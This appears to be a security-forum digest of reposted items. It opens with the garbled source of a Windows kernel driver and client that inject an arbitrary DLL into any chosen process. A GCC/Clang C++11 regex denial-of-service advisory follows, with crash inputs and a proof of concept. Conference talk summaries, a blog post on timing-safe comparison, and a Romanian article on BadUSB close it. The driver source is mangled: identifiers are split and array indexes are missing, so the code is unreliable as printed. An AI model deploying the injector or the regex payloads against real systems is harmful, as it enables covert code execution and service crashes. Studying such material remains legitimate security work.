Environment, PKKERNEL_ROUTINE KernelRoutine, PKRUNDOWN_ROUTINE RundownRoutine, PKNORMAL_ROUTINE NormalRoutine, KPROCESSOR_MODE ProcessorMode, PVOID NormalContext ); extern "C" BOOLEAN KeInsertQueueApc( PRKAPC Apc, PVOID SystemArgument1, PVOID SystemArgument2, KPRIORITY Increment ); UNICODE_STRING DeviceName=RTL_CONSTANT_STRING(L"\\Device\\KeInject"),SymbolicLink=RTL_CONSTANT_STRING(L"\\DosDevices\\KeInject"); ULONG ApcStateOffset; // Offset to the ApcState structure PLDR_LOAD_DLL LdrLoadDll; // LdrLoadDll address void Unload(PDRIVER_OBJECT pDriverObject) { DbgPrint("DLL injection driver unloaded."); IoDeleteSymbolicLink(&SymbolicLink); IoDeleteDevice(pDriverObject->DeviceObject); } void NTAPI KernelRoutine(PKAPC apc,PKNORMAL_ROUTINE* NormalRoutine,PVOID* NormalContext,PVOID* SystemArgument1,PVOID* SystemArgument2) { ExFreePool(apc); } void NTAPI InjectDllApc(PVOID NormalContext,PVOID SystemArgument1,PVOID SystemArgument2) { PKINJECT inject=(PKINJECT)NormalContext; inject->LdrLoadDll(NULL,NULL,&inject->DllName,&inject->DllBase); inject->Executed=TRUE; } BOOLEAN InjectDll(PINJECT_INFO InjectInfo) { PEPROCESS Process; PETHREAD Thread; PKINJECT mem; ULONG size; PKAPC_STATE ApcState; PKAPC apc; PVOID buffer; PSYSTEM_PROCESS_INFO pSpi; LARGE_INTEGER delay; buffer=ExAllocatePool(NonPagedPool,1024*1024); // Allocate memory for the system information if(!buffer) { DbgPrint("Error: Unable to allocate memory for the process thread list."); return FALSE; } // Get the process thread list if(!NT_SUCCESS(ZwQuerySystemInformation(5,buffer,1 024*1024,NULL))) { DbgPrint("Error: Unable to query process thread list."); ExFreePool(buffer); return FALSE; } pSpi=(PSYSTEM_PROCESS_INFO)buffer; // Find a target thread while(pSpi->NextEntryOffset) { if(pSpi->UniqueProcessId==InjectInfo->ProcessId) { DbgPrint("Target thread found. TID: %d",pSpi->Threads[0].ClientId.UniqueThread); break; } pSpi=(PSYSTEM_PROCESS_INFO)((PUCHAR)pSpi+pSpi->NextEntryOffset); } // Reference the target process if(!NT_SUCCESS(PsLookupProcessByProcessId(InjectIn fo->ProcessId,&Process))) { DbgPrint("Error: Unable to reference the target process."); ExFreePool(buffer); return FALSE; } DbgPrint("Process name: %s",PsGetProcessImageFileName(Process)); DbgPrint("EPROCESS address: %#x",Process); // Reference the target thread if(!NT_SUCCESS(PsLookupThreadByThreadId(pSpi->Threads[0].ClientId.UniqueThread,&Thread))) { DbgPrint("Error: Unable to reference the target thread."); ObDereferenceObject(Process); // Dereference the target process ExFreePool(buffer); // Free the allocated memory return FALSE; } DbgPrint("ETHREAD address: %#x",Thread); ExFreePool(buffer); // Free the allocated memory KeAttachProcess(Process); // Attach to target process's address space mem=NULL; size=4096; // Allocate memory in the target process if(!NT_SUCCESS(ZwAllocateVirtualMemory(NtCurrentPr ocess(),(PVOID*)&mem,0,&size,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE ))) { DbgPrint("Error: Unable to allocate memory in the target process."); KeDetachProcess(); // Detach from target process's address space ObDereferenceObject(Process); // Dereference the target process ObDereferenceObject(Thread); // Dereference the target thread return FALSE; } DbgPrint("Memory allocated at %#x",mem); mem->LdrLoadDll=LdrLoadDll; // Write the address of LdrLoadDll to target process wcscpy(mem->Buffer,InjectInfo->DllName); // Write the DLL name to target process RtlInitUnicodeString(&mem->DllName,mem->Buffer); // Initialize the UNICODE_STRING structure ApcState=(PKAPC_STATE)((PUCHAR)Thread+ApcStateOffs et); // Calculate the address of the ApcState structure ApcState->UserApcPending=TRUE; // Force the target thread to execute APC memcpy((PKINJECT)(mem+1),InjectDllApc,(ULONG)Kerne lRoutine-(ULONG)InjectDllApc); // Copy the APC code to target process DbgPrint("APC code address: %#x",(PKINJECT)(mem+1)); apc=(PKAPC)ExAllocatePool(NonPagedPool,sizeof(KAPC )); // Allocate the APC object if(!apc) { DbgPrint("Error: Unable to allocate the APC object."); size=0; ZwFreeVirtualMemory(NtCurrentProcess(),(PVOID*)&mem,&size,MEM_RELEASE); // Free the allocated memory KeDetachProcess(); // Detach from target process's address space ObDereferenceObject(Process); // Dereference the target process ObDereferenceObject(Thread); // Dereference the target thread return FALSE; } KeInitializeApc(apc,Thread,OriginalApcEnvironment, KernelRoutine,NULL,(PKNORMAL_ROUTINE)((PKINJECT)me m+1),UserMode,mem); // Initialize the APC DbgPrint("Inserting APC to target thread"); // Insert the APC to the target thread if(!KeInsertQueueApc(apc,NULL,NULL,IO_NO_INCREMENT )) { DbgPrint("Error: Unable to insert APC to target thread."); size=0; ZwFreeVirtualMemory(NtCurrentProcess(),(PVOID*)&mem,&size,MEM_RELEASE); // Free the allocated memory KeDetachProcess(); // Detach from target process's address space ObDereferenceObject(Process); // Dereference the target process ObDereferenceObject(Thread); // Dereference the target thread ExFreePool(apc); // Free the APC object return FALSE; } delay.QuadPart=-100*10000; while(!mem->Executed) { KeDelayExecutionThread(KernelMode,FALSE,&delay); // Wait for the injection to complete } if(!mem->DllBase) { DbgPrint("Error: Unable to inject DLL into target process."); size=0; ZwFreeVirtualMemory(NtCurrentProcess(),(PVOID*)&mem,&size,MEM_RELEASE); KeDetachProcess(); ObDereferenceObject(Process); ObDereferenceObject(Thread); return FALSE; } DbgPrint("DLL injected at %#x",mem->DllBase); size=0; ZwFreeVirtualMemory(NtCurrentProcess(),(PVOID*)&mem,&size,MEM_RELEASE); // Free the allocated memory KeDetachProcess(); // Detach from target process's address space ObDereferenceObject(Process); // Dereference the target process ObDereferenceObject(Thread); // Dereference the target thread return TRUE; } NTSTATUS DriverDispatch(PDEVICE_OBJECT DeviceObject,PIRP irp) { PIO_STACK_LOCATION io; PINJECT_INFO InjectInfo; NTSTATUS status; io=IoGetCurrentIrpStackLocation(irp); irp->IoStatus.Information=0; switch(io->MajorFunction) { case IRP_MJ_CREATE: status=STATUS_SUCCESS; break; case IRP_MJ_CLOSE: status=STATUS_SUCCESS; break; case IRP_MJ_READ: status=STATUS_SUCCESS; break; case IRP_MJ_WRITE: InjectInfo=(PINJECT_INFO)MmGetSystemAddressForMdlS afe(irp->MdlAddress,NormalPagePriority); if(!InjectInfo) { status=STATUS_INSUFFICIENT_RESOURCES; break; } if(!InjectDll(InjectInfo)) { status=STATUS_UNSUCCESSFUL; break; } status=STATUS_SUCCESS; irp->IoStatus.Information=sizeof(INJECT_INFO); break; default: status=STATUS_INVALID_DEVICE_REQUEST; break; } irp->IoStatus.Status=status; IoCompleteRequest(irp,IO_NO_INCREMENT); return status; } NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObject,PUNICODE_STRING pRegistryPath) { PDEVICE_OBJECT DeviceObject; PEPROCESS Process; PETHREAD Thread; PKAPC_STATE ApcState; PVOID KdVersionBlock,NtdllBase; PULONG ptr,Functions,Names; PUSHORT Ordinals; PLDR_DATA_TABLE_ENTRY MmLoadedUserImageList,ModuleEntry; ULONG i; PIMAGE_DOS_HEADER pIDH; PIMAGE_NT_HEADERS pINH; PIMAGE_EXPORT_DIRECTORY pIED; pDriverObject->DriverUnload=Unload; KdVersionBlock=(PVOID)__readfsdword(0x34); // Get the KdVersionBlock MmLoadedUserImageList=*(PLDR_DATA_TABLE_ENTRY*)((P UCHAR)KdVersionBlock+0x228); // Get the MmLoadUserImageList DbgPrint("KdVersionBlock address: %#x",KdVersionBlock); DbgPrint("MmLoadedUserImageList address: %#x",MmLoadedUserImageList); ModuleEntry=(PLDR_DATA_TABLE_ENTRY)MmLoadedUserIma geList->InLoadOrderLinks.Flink; // Move to first entry NtdllBase=ModuleEntry->DllBase; // ntdll is always located in first entry DbgPrint("ntdll base address: %#x",NtdllBase); pIDH=(PIMAGE_DOS_HEADER)NtdllBase; pINH=(PIMAGE_NT_HEADERS)((PUCHAR)NtdllBase+pIDH->e_lfanew); pIED=(PIMAGE_EXPORT_DIRECTORY)((PUCHAR)NtdllBase+p INH->OptionalHeader.DataDirectory[iMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); Functions=(PULONG)((PUCHAR)NtdllBase+pIED->AddressOfFunctions); Names=(PULONG)((PUCHAR)NtdllBase+pIED->AddressOfNames); Ordinals=(PUSHORT)((PUCHAR)NtdllBase+pIED->AddressOfNameOrdinals); // Parse the export table to locate LdrLoadDll for(i=0;i<pIED->NumberOfNames;i++) { if(!strcmp((char*)NtdllBase+Names,"LdrLoadDll")) { LdrLoadDll=(PLDR_LOAD_DLL)((PUCHAR)NtdllBase+Funct ions[Ordinals]); break; } } DbgPrint("LdrLoadDll address: %#x",LdrLoadDll); Process=PsGetCurrentProcess(); Thread=PsGetCurrentThread(); ptr=(PULONG)Thread; // Locate the ApcState structure for(i=0;i<512;i++) { if(ptr==(ULONG)Process) { ApcState=CONTAINING_RECORD(&ptr,KAPC_STATE,Process); // Get the actual address of KAPC_STATE ApcStateOffset=(ULONG)ApcState-(ULONG)Thread; // Calculate the offset of the ApcState structure break; } } DbgPrint("ApcState offset: %#x",ApcStateOffset); IoCreateDevice(pDriverObject,0,&DeviceName,FILE_DEVICE_UNKNOWN,FILE_DEVICE_SECURE_ OPEN,FALSE,&DeviceObject); IoCreateSymbolicLink(&SymbolicLink,&DeviceName); for(i=0;i<IRP_MJ_MAXIMUM_FUNCTION;i++) { pDriverObject->MajorFunction=DriverDispatch; } DeviceObject->Flags&=~DO_DEVICE_INITIALIZING; DeviceObject->Flags|=DO_DIRECT_IO; DbgPrint("DLL injection driver loaded."); return STATUS_SUCCESS; } Source code (user mode application) #include <stdio.h>#include <Windows.h> typedef struct _INJECT_INFO { HANDLE ProcessId; wchar_t DllName[1024]; }INJECT_INFO,*PINJECT_INFO; int wmain(int argc,wchar_t* argv[]) { HANDLE hFile; DWORD write; INJECT_INFO InjectInfo; if(argc<3) { printf("\nUsage: kinject [PID] [DLL name]\n"); return -1; } hFile=CreateFile(L"\\\\.\\KeInject",GENERIC_READ|GENERIC_WRITE,FILE_SHARE_READ|FILE_S HARE_WRITE,NULL,OPEN_EXISTING,0,NULL); if(hFile==INVALID_HANDLE_VALUE) { printf("\nError: Unable to connect to the driver (%d)\n",GetLastError()); return -1; } memset(&InjectInfo,0,sizeof(INJECT_INFO)); InjectInfo.ProcessId=(HANDLE)wcstoul(argv[1],NULL,0); wcscpy(InjectInfo.DllName,argv[2]); if(!WriteFile(hFile,&InjectInfo,sizeof(INJECT_INFO),&write,NULL)) { printf("\nError: Unable to write data to the driver (%d)\n",GetLastError()); CloseHandle(hFile); return -1; } CloseHandle(hFile); return 0; } [h=4]Attached Files[/h] KeInject.zip 447.64KB 438 downloads Sursa: Inject DLL from kernel mode - Source Codes - rohitab.com - Forums
-
C++11 Resource Exhaustion Authored by Maksymilian Arciemowicz | Site cxsecurity.com GCC and CLANG C++11 regex functionality suffers from resource exhaustion issues. C++11 <regex> insecure by default http://cxsecurity.com/issue/WLB-2014070187 --- 0 Description --- In this article I will present a conclusion of testing the new 'objective regex' in several implementation of standard c++ library like libcxx (clang) and stdlibc++ (gcc). The results show the weakness in official supported implementations. Huge complexity and memory exhaustion were well known in most of libc libraries. Theoretical the new c++11 <regex> eliminate resource exhaustion by specifying special limits preventing for evil patterns. In glibc there was the conviction that for the safety of use regcomp() respond vendor using regex implementation. However, it is difficult to do the parser of regular expression in clients applications and others remote affected. The exceptions support for regex errors looks very promising. Let's see some part of documentation std::regex_error -std::regex_constants::error_type----------------------- error_space there was not enough memory to convert the expression into a finite state machine error_complexity the complexity of an attempted match exceeded a predefined level error_stack there was not enough memory to perform a match -std::regex_constants::error_type----------------------- error_complexity looks promising but which the value of level complexity is the best'? There is many interpretations between usability and security. In security aspect this level should be low for to keep real time execution. In contrast to the static code analysis where execution time is not so important. The other constants like error_space and error_stack are also interesting in security view. After official release for stdlibc++ <regex> in GCC 4.9.0 I have decided check this implementation. To prove that these limits do not fulfill their role, I reported below issues GCC: libstdc++ C++11 regex resource exhaustion https://gcc.gnu.org/bugzilla/show_bug.cgi?id=61601 libstdc++ C++11 regex memory corruption https://gcc.gnu.org/bugzilla/show_bug.cgi?id=61582 CLANG: libcxx C++11 regex cpu resource exhaustion http://llvm.org/bugs/show_bug.cgi?id=20291 In my observation libc++ wins in performance. Only problem with error complexity reported. In ticket #20291 we are searching answer for default pre-set level value. However for each use can be personal. GCC has fixed most dangerous issues before releasing official version 4.9.0 where <regex> is supported. Anyway stack overflow still occurs in last regex implementation. --- 0.1 GCC before 4.9 Memory corruption --- # ./c11RE '(|' Segmentation fault (core dumped) --- 0.2 GCC 4.9 Memory corruption --- (gdb) r '((.*)()?*{100})' Starting program: /home/cx/REstd11/kozak5/./c11re '((.*)()?*{100})' Program received signal SIGSEGV, Segmentation fault. 0x0000000000402f15 in std::_Bit_reference::operator bool() const --- 0.3 GCC Trunk Stack Overflow --- Starting program: /home/cx/REtrunk/kozak5/t3 '(.*{100}{300})' Program received signal SIGSEGV, Segmentation fault. 0x000000000040c22a in std::__detail::_Executor<char const*, std::allocator<std::sub_match<char const*> >, std::regex_traits<char>, true>::_M_dfs(std::__detail::_Executor<char const*, std::allocator<std::sub_match<char const*> >, std::regex_traits<char>, true>::_Match_mode, long) () --- 0.4 CLANG CPU Exhaustion PoC --- #include <iostream> #include <regex> #include <string> using namespace std; int main() { try { regex r("(.*(.*){999999999999999999999999999999999})", regex_constants::extended); smatch results; string test_str = "|||||||||||||||||||||||||||||||||||||||||||||||||||||||"; if (regex_search(test_str, results, r)) cout << results.str() << endl; else cout << "no match"; } catch (regex_error &e) { cout << "extended: what: " << e.what() << "; code: " << e.code() << endl; } return 0; } --- CLANG CPU Exhaustion --- --- 1 Conclusion --- I think It's dangerous situation what may have a bearing on the quality similar to the glibc <regex.h>. Maybe only a new type of extended regular expressions provide safety? It's good moment to start discussion about of safety regex in new c++. --- 2 References --- libstdc++ C++11 regex resource exhaustion https://gcc.gnu.org/bugzilla/show_bug.cgi?id=61601 libstdc++ C++11 regex memory corruption https://gcc.gnu.org/bugzilla/show_bug.cgi?id=61582 libcxx C++11 regex cpu resource exhaustion http://llvm.org/bugs/show_bug.cgi?id=20291 GCC 4.9 Release Series New Features https://gcc.gnu.org/gcc-4.9/changes.html --- 3 Thanks --- gcc and clang support and KacperR --- 4 About --- Author: Maksymilian Arciemowicz Contact: http://cxsecurity.com/wlb/add/ Sursa: C++11 Resource Exhaustion ? Packet Storm
-
25c3 - An Introduction To New Stream Cipher Designs Description: An introduction to new stream cipher designs Turning data into line noise and back Even with "nothing to hide", we want to protect the privacy of our bits and bytes. Encryption is an important tool for this, and stream ciphers are a major class of symmetric-key encryption schemes. Algorithms such as RC4 (used in WEP/WPA, bittorrent, SSL), A5/1 (GSM telephony), E0 (bluetooth), as well as AES in counter (CTR) mode, are important examples of stream ciphers used in everyday applications. Whereas a block cipher such as AES works by encrypting fixed-length data blocks (and chaining these together in a suitable mode of operation), stream ciphers output an unique and arbitrary-length keystream of pseudorandom bits or bytes, which is simply XORed with the plaintext stream to produce the ciphertext. Advantages of stream ciphers often include smaller hardware footprint and higher encryption speeds than comparable block ciphers such as AES. However, cryptanalysis has led to attacks on many of the existing algorithms. The ECRYPT Stream Cipher Project (eSTREAM) has been a 4-year project funded by the EU to evaluate new and promising stream ciphers. The project ended in April 2008, with a final portfolio which currently consists of 7 ciphers: 3 suitable for hardware implementation, and 4 aimed at software environments. The portfolio ciphers are considered to provide an advantage over plain AES in at least one significant aspect, but the designs are very different and often suited for different applications. Since the eSTREAM ciphers are quite new, many of them are not well known outside the academic community. The goal of this talk is to give a very quick presentation of each of the 7 portfolio ciphers: Grain v1, MICKEY v2, Trivium, HC-128, Rabbit, Salsa20/12 and SOSEMANUK. For More Information please visit : - 25C3: speakers Sursa: 25c3 - An Introduction To New Stream Cipher Designs
-
25c3 - Full Disk Encryption Crash Course Description: Full-Disk-Encryption Crash-Course Everything to hide This is not a hacking presentation, no vulnerabilities are presented. It's a crash-course in full-disk-encryption ("FDE") concepts, products and implementation aspects. An overview of both commercial and open-source offerings for Windows, Linux, and MacOSX is given. A (programmer's) look at the open-source solutions concludes the presentation. Full-Disk-Encryption is an important aspect of data security and everyone should use an appropriate solution to protect their (especially mobile) systems and data. This lecture covers the technology behind Full-Disk-Encryption software products. The established technical architectures of software solutions for Microsoft Windows and Linux are presented in this lecture: Pre-Boot-Authentication, encryption driver and in-place filesystem encryption. An overview of commercial products and open-source offerings for Windows, Linux and OSX is given. Distinguishing features of specific products and additional topics are covered, including: TPM support (OS binding and key storage), multi-disk support and threats. The last segment of the lecture focuses on open-source solutions: TrueCrypt's volume specifications, TrueCrypt's hidden volume capabilities and a comparison of in-place filesystem encryption implementations of TrueCrypt and DiskCryptor. A feature wish-list for open-source Full-Disk-Encryption solutions completes the lecture. For More Information please visit : - 25C3: speakers Sursa: 25c3 - Full Disk Encryption Crash Course
-
25c3 - Chip Reverse Engineering Description: Chip Reverse Engineering Cryptographic algorithms are often kept secret in the false belief that this provides security. To find and analyze these algorithms, we reverse-engineering the silicon chips that implement them. With simple tools, we open the chips, take pictures, and analyze their internal structures. The talk provides all the details you need to start reversing chips yourself. Happy hacking! For More Information please visit : - 25C3: speakers Sursa: 25c3 - Chip Reverse Engineering
-
25c3 - Security Failures In Smart Card Payment Systems Description: Security Failures in Smart Card Payment Systems Tampering the Tamper-Proof PIN entry devices (PED) are used in the Chip & PIN (EMV) system to process customers' card details and PINs in stores world-wide. Because of the highly sensitive information they handle, PEDs are subject to an extensive security evaluation procedure. We have demonstrated that the tamper protection of two popular PEDs can be easily circumvented with a paperclip, some basic technical skills, and off-the-shelf electronics. PIN entry devices (PEDs) are critical security components in Chip & PIN (EMV) smartcard payment systems as they receive a customer's card and PIN. Their approval is subject to an extensive suite of evaluation and certification procedures. We have demonstrated that the tamper proofing of PEDs is unsatisfactory, as is the certification process. This talk will discuss practical low-cost attacks on two certified, widely-deployed PEDs – the Ingenico i3300 and the Dione Xtreme. By tapping inadequately protected smartcard communications, an attacker with basic technical skills can expose card details and PINs, leaving cardholders open to fraud. The talk will describe the anti-tampering mechanisms of the two PEDs and show that, while the specific protection measures mostly work as intended, critical vulnerabilities arise because of the poor integration of cryptographic, physical and procedural protection. These failures are important not only because they allow fraud to be committed, but also because of their affect on customer liability. As Chip & PIN was claimed to be foolproof, victims of fraud often find themselves accused of being negligent, or even complicit in the crime. The results of this work will help customers in this position argue that their losses should be refunded. For More Information please visit : - 25C3: speakers Sursa: 25c3 - Security Failures In Smart Card Payment Systems
-
25c3 - Hacking The Iphone Description: Speakers: MuscleNerd, pytey, planetbeing Apple's iPhone has made a tremendous impact on the smartphone market and the public consciousness, but it has also highlighted their desire to carefully control the device with draconian restrictions. These restrictions prevent users from choosing to run third-party applications unauthorized by Apple and using the devices on carriers not approved by Apple. Since its release, a tremendous amount of effort has been made to remove these restrictions for the benefit of the community. A year later, we have now learned much about its inner workings and have methods to circumvent these restrictions. This talk will summarize what we have learned about the internal architecture of the iPhone platform, its security, and the ways we have found to defeat these security measures. More information about the 25th Chaos Communication Congress can be found via the Chaos Communication For More Information please visit : - 25C3: speakers Sursa: 25c3 - Hacking The Iphone
-
25c3 - Tricks Makes You Smile Description: Tricks: makes you smile A clever or ingenious device or expedient; adroit technique: the tricks of the trade. A collection of engaging techniques, some unreleased and some perhaps forgotten, to make pentesting fun again. From layer 3 attacks that still work, to user interaction based exploits that aren't 'clickjacking', to local root privilege escalation without exploits and uncommon web application exploitation techniques. For More Information please visit : - 25C3: speakers
-
25c3 - Anatomy Of Smartphone Hardware Description: Do you know the architecture of contemporary mobile phone hardware? This presentation will explain about the individual major building blocks and overall architecture of contemporary GSM and UMTS smartphones. We will start from a general block diagram level and then look at actual chipsets used in mobile devices, ranging from SoC to RAM and flash memory technologies, Bluetooth, Mobile WiFi chipsets, busses/protocols as well as the GSM baseband side. The main focus will be about the OpenMoko Freerunner (GTA02) hardware, since the schematics are open and can be used for reference during the lecture. However, we will also look into tighter integrated components of various vendors like Qualcomms MSM7xxx, Samsung S3C64xx, TI OMAP35xx and others. For More Information please visit : - 25C3: speakers Sursa: 25c3 - Anatomy Of Smartphone Hardware
-
25c3 - Analyzing Rfid Security Description: Analyzing RFID Security Many RFID tags have weaknesses, but the security level of different tags varies widely. Using the Mifare Classic cards as an example, we illustrate the complexity of RFID systems and discuss different attack vectors. To empower further analysis of RFID cards, we release an open-source, software-controlled, and extensible RFID reader with support for most common standards. RFID tags and contact-less smart cards are regularly criticized for their lack of security. While many RFID tags have weaknesses, the security level of different tags varies widely. Using the Mifare Classic cards as an example, we illustrate the complexity of RFID systems and discuss different attack vectors. To empower further analysis of RFID cards, we release an open-source, software-controlled, and extensible RFID reader with support for most common standards. For More Information please visit : - 25C3: speakers Sursa: 25c3 - Analyzing Rfid Security
-
Timing-safe memcmp and API parity Nate Lawson @ 4:03 am OpenBSD released a new API with a timing-safe bcmp and memcmp. I strongly agree with their strategy of encouraging developers to adopt “safe” APIs, even at a slight performance loss. The strlcpy/strlcat family of functions they pioneered have been immensely helpful against overflows. Data-independent timing routines are extremely hard to get right, and the farther you are from the hardware, the harder it is to avoid unintended leakage. Your best bet if working in an embedded environment, is to use assembly and thoroughly test on the target CPU under multiple scenarios (interrupts, power management throttling clocks, etc.) Moving up to C creates a lot of pitfalls, especially if you support multiple compilers and versions. Now you are subject to micro-architectural variance, such as cache, branch prediction, bus contention, etc. And compilers have a lot of leeway with optimizing away code with strictly-intended behavior. While I think the timing-safe bcmp (straightforward comparison for equality) is useful, I’m more concerned with the new memcmp variant. It is more complicated and subject to compiler and CPU quirks (because of the additional ordering requirements), may confuse developers who really want bcmp, and could encourage unsafe designs. If you ask a C developer to implement bytewise comparison, they’ll almost always choose memcmp(). (The “b” series of functions is more local to BSD and not Windows or POSIX platforms.) This means that developers using timingsafe_memcmp() will be incorporating unnecessary features simply by picking the familiar name. If compiler or CPU variation compromised this routine, this would introduce a vulnerability. John-Mark pointed out to me a few ways the current implementation could possibly fail due to compiler optimizations. While the bcmp routine is simpler (XOR accumulate loop), it too could possibly be invalidated by optimization such as vectorization. The most important concern is if this will encourage unsafe designs. I can’t come up with a crypto design that requires ordering of secret data that isn’t also a terrible idea. Sorting your AES keys? Why? Don’t do that. Database index lookups that reveal secret contents? Making array comparison constant-time fixes nothing when the index involves large blocks of RAM/disk read timing leaks. In any scenario that involves the need for ordering of secret data, much larger architectural issues need to be addressed than a comparison function. Simple timing-independent comparison is an important primitive, but it should be used only when other measures are not available. If you’re concerned about HMAC timing leaks, you could instead hash or double-HMAC the data and compare the results with a variable-timing comparison routine. This takes a tiny bit longer but ensures any leaks are useless to an attacker. Such algorithmic changes are much safer than trying to set compiler and CPU behavior in concrete. The justification I’ve heard from Ted Unangst is “API parity“. His argument is that developers will not use the timing-safe routines if they don’t conform to the ordering behavior of memcmp. I don’t get this argument. Developers are more likely to be annoyed with the sudden performance loss of switching to timing-safe routines, especially for comparing large blocks of data. And, there’s more behavior that should intentionally be broken in a “secure memory compare” routine, such as two zero-length arrays returning success instead of an error. Perhaps OpenBSD will reconsider offering this routine purely for the sake of API parity. There are too many drawbacks. Sursa: Timing-safe memcmp and API parity | root labs rdist
-
E dovedit: dispozitivele USB pot con?ine viru?i greu de detectat, cu acces nelimitat la datele utilizatorilor Aurelian Mihai - 1 aug 2014 Demonstrat? de un grup de exper?i în securitate, o bre?? de securitate prezent? în protocolul de comunica?ie folosit pentru conectarea dispozitivelor USB poate fi exploatat? cu consecin?e extrem de grave, compromi?ând orice computer cu port USB. Mai mult, dispozitivele USB infectate sunt greu de descoperit, utilizatorii de rând neputând afla dac? stick-ul USB flash sau tastatura proasp?t achizi?ionat? con?ine sau nu un virus periculos. Potrivit exper?ilor Karsten Nohl ?i Jakob Lell, protocolul Universal Serial Bus folosit ca standard pentru conectarea dispozitivelor externe la portul USB con?ine o bre?? de securitate ce poate fi exploatat? pentru a ob?ine control nelimitat asupra PC-urilor. Pentru a expune problema descoperit? cei doi au decompilat por?iunea de firmware responsabil cu gestionarea func?iilor de baz? ale protocolului USB, la care au ad?ugat o mostr? de malware creat cu scop demonstrativ. Odat? strecurat? pe dispozitivul USB, componenta malware prezent? la nivel de firmware este activat? prin simpla conectare a dispozitivului la portul USB, ob?inând acces la fi?ierele stocate în memorie sau intercepta conexiunea la internet a utilizatorului. zoom inE dovedit: dispozitivele USB pot con?ine viru?i imposibil de înl?turat, cu acces nelimitat la datele utilizatorilor Având în vedere c? acest exploit vizeaz? însu?i protocolul care guverneaz? func?ionarea dispozitivelor USB, practic orice dispozitiv poate fi compromis - stick-uri USB flash, mouse ?i tastaturi USB, smartphone ?i tablete cu port USB. Totu?i, componenta malware nu este executat? direct pe dispozitiv, ci mai degrab? transferat? în memoria PC-ului conectat, unde poate fi detectat? ?i înl?turat? folosind programe antivirus. Din p?cate dispozitivul infectat nu poate fi cur??at prin simpla ?tergere sau formatare a spa?iului de stocare. În lipsa unui patch care s? instaleze un firmware necompromis, dispozitivul USB va continua s? infecteze orice PC la care este conectat. Momentan este aproape imposibil pentru utilizatorii obi?nui?i s? verifice dac? firmware-ul unui dispozitiv este sau nu compromis. În plus, este teoretic posibil ca infectarea s? se produc? ?i în sens invers, de la un PC infectat la un dispozitiv USB, propagând mai departe malware-ul respectiv la orice PC este conectat dispozitivul proasp?t compromis. Aparent, exploit-ul despre care se zvone?te c? ar fi folosit deja de autorit??ile americane pentru înlesnirea activit??ilor de spionaj nu are în prezent nici un remediu. Singurele m?suri care pot fi luate de utilizatori este s? evite folosirea dispozitivelor USB cu provenien?? incert? ?i s? previn? propagarea infect?rilor evitând conectarea dispozitivelor USB la PC-uri deja compromise. Sursa: E dovedit: dispozitivele USB pot con?ine viru?i greu de detectat, cu acces nelimitat la datele utilizatorilor